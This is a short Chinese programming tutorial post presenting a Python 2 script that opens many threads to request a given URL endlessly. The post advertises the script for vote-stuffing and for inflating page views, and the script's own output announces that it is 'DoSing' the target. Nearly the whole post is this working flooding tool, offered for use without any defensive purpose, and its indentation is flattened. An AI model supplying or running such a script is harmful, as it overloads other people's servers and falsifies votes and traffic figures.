本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:
这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了
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import thread
import urllib2
import sys
import time
def usage():
print 'Usage: python ' + sys.argv[ 0 ] + ' <url> <threads>'
sys.exit()
def reloader(numthread):
url = sys.argv[ 1 ]
numreloads = 0
while True :
try :
urllib2.urlopen(url)
numreloads = numreloads + 1
except KeyboardInterrupt:
sys.exit( '\nProcess aborted.' )
def splash():
print 'welcome to http://www.zzvips.com/xinmeiti/ '
if len (sys.argv) < 3 :
usage()
if __name__ = = '__main__' :
splash()
print '[!] DoSing ' + sys.argv[ 1 ] + ' with ' + sys.argv[ 2 ] + ' threads.'
for reloadspawn in range ( 0 , int (sys.argv[ 2 ])):
thread.start_new_thread(reloader, (reloadspawn,))
sys.stdout.write('')
dosind = [ '-' , '\\', ' | ', ' / ']
dosstat = 0
while True :
try :
sys.stdout.write( '\r' + dosind[dosstat % 4 ] + ' DoSing...' )
sys.stdout.flush()
dosstat = dosstat + 1
time.sleep( 0.25 )
except KeyboardInterrupt:
sys.exit( '\nProcess aborted.' )
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希望本文所述对大家的Python程序设计有所帮助。